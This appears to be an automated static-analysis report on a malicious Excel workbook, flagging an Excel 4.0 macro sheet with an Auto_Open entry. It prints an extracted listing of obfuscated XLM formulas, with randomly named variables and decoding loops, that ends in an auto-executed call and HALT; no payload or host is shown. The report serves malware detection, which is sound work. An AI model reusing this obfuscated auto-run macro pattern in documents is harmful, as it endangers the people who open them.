Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 cf712494b2a94aa9…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:40:54 Authoring application: Microsoft Excel First seen: 2020-12-25
MD5: 4289a91a38cc92324390a1afed976d4f SHA-1: b42da3846573d84edd863f8c32e0211c22fee74b SHA-256: cf712494b2a94aa9b1364d4c3fcc004cc27bbb497289d2c73ac29f8164086076
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6601 bytes
SHA-256: 18d435642a36e72c508d796f6ccc0115d35d317a7b9ffc62b33b9ebdb1e268b1
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     14 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  lRBqH
' 0018     25 LABEL : Cell Value, String Constant - amXweghtWv len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!E158 
' 0018     25 LABEL : Cell Value, String Constant - BVOtDlmzNj len=0 
' 0018     20 LABEL : Cell Value, String Constant - CtHug len=0 
' 0018     27 LABEL : Cell Value, String Constant - gARNugcIAwfo len=0 
' 0018     20 LABEL : Cell Value, String Constant - gilmO len=0 
' 0018     20 LABEL : Cell Value, String Constant - hHnFA len=0 
' 0018     23 LABEL : Cell Value, String Constant - iQCYurnE len=0 
' 0018     26 LABEL : Cell Value, String Constant - jufuQVqXBHc len=0 
' 0018     25 LABEL : Cell Value, String Constant - OaiaQdURSf len=0 
' 0018     20 LABEL : Cell Value, String Constant - OwMVo len=0 
' 0018     23 LABEL : Cell Value, String Constant - uzQbAcgP len=0 
' 0018     24 LABEL : Cell Value, String Constant - VuopjAMva len=0 
' 0018     20 LABEL : Cell Value, String Constant - wCUyo len=0 
' 0018     24 LABEL : Cell Value, String Constant - WwgCZGlqM len=0 
' 0018     23 LABEL : Cell Value, String Constant - xQDZyTMq len=0 
' 0018     26 LABEL : Cell Value, String Constant - YfUzkTpzLxi len=0 
' 0018     25 LABEL : Cell Value, String Constant - YJvBoIDvwg len=0 
' 0018     25 LABEL : Cell Value, String Constant - YYqcAfyVWd len=0 
' 0018     22 LABEL : Cell Value, String Constant - ZjFErkx len=0 
' 0018     20 LABEL : Cell Value, String Constant - zJQBg len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  lRBqH,R52,"",186.00000000000000000000
'  lRBqH,R53,"",564.00000000000000000000
'  lRBqH,R54,"",-522.00000000000000000000
'  lRBqH,R55,"",-971.00000000000000000000
'  lRBqH,R56,"",-828.00000000000000000000
'  lRBqH,R57,"",494.00000000000000000000
'  lRBqH,E66,"SET.NAME("amXweghtWv",0+VALUE("0"))",""
'  lRBqH,E70,"SET.NAME("uzQbAcgP",amXweghtWv)",""
'  lRBqH,E75,"SET.NAME("xQDZyTMq",amXweghtWv)",""
'  lRBqH,E80,"SET.NAME("WwgCZGlqM",COUNTA(BVOtDlmzNj))",""
'  lRBqH,E83,"SET.NAME("ZjFErkx",COUNTA(CtHug))",""
'  lRBqH,E87,[],""
'  lRBqH,E92,"SET.NAME("zJQBg","")",""
'  lRBqH,E94,"uzQbAcgP",""
'  lRBqH,E96,"SET.NAME("gARNugcIAwfo",HLOOKUP("*",BVOtDlmzNj,uzQbAcgP,FALSE))",""
'  lRBqH,E100,"YfUzkTpzLxi",""
'  lRBqH,E104,"SET.NAME("OwMVo",amXweghtWv)",""
'  lRBqH,E109,[],""
'  lRBqH,E112,"OwMVo",""
'  lRBqH,E117,"OaiaQdURSf",""
'  lRBqH,E121,"jufuQVqXBHc",""
'  lRBqH,E124,"wCUyo",""
'  lRBqH,E127,"SET.NAME("YJvBoIDvwg",VALUE(HLOOKUP("*",CtHug,wCUyo,FALSE)))",""
'  lRBqH,E131,"hHnFA",""
'  lRBqH,E133,"zJQBg",""
'  lRBqH,E138,"xQDZyTMq",""
'  lRBqH,E140,NEXT(),""
'  lRBqH,E143,"VuopjAMva",""
'  lRBqH,E148,[],""
'  lRBqH,E150,"gilmO",""
'  lRBqH,E152,NEXT(),""
'  lRBqH,E155,RETURN(),""
'  lRBqH,E184,"SET.NAME("iQCYurnE",E66)",""
'  lRBqH,E186,"BVOtDlmzNj",""
'  lRBqH,E190,"SET.NAME("CtHug",R60C13)",""
'  lRBqH,E195,"SET.NAME("gilmO",201)",""
'  lRBqH,E198,"SET.NAME("YYqcAfyVWd",5)",""
'  lRBqH,E200,iQCYurnE(),""
'  lRBqH,E201,HALT(),""